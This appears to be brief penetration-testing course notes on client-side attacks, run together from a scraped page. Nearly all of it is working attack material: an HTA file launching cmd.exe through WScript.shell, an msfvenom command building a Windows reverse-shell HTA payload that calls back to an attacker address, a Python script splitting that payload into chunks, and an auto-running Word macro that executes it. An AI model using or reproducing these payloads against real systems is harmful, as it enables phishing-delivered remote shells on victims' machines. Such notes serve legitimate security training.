Module 13 (Clint Side Attacks)
Last updated
Last updated
<!DOCTYPE html>
<html>
<head>
<script>
var x='cmd.exe'
new ActiveXObject('WScript.shell').Run(x);
</script>
</head>
<body>
<script> self.close() </script>
</body>
</html>sudo cp file.hta /var/www/html/file2.htasudo msfvenom -p windows/shell_reverse_tcp LHOST=192.168.114.134 LPORT=4444 -f hta-psh -o /var/www/html/evil.htastr="" # payload from msfvenom
n=50
for i in range(0,len(str),n):
print "str = Str +" + '"' + str[i:i+n] + '"'Sub AutoOpen()
test1
End Sub
Sub Doc_Open()
test1
End Sub
Sub test1()
Dim Str As String
' Add the splitted payload here
CreateObject("Wscript.shell").Run Str
End Sub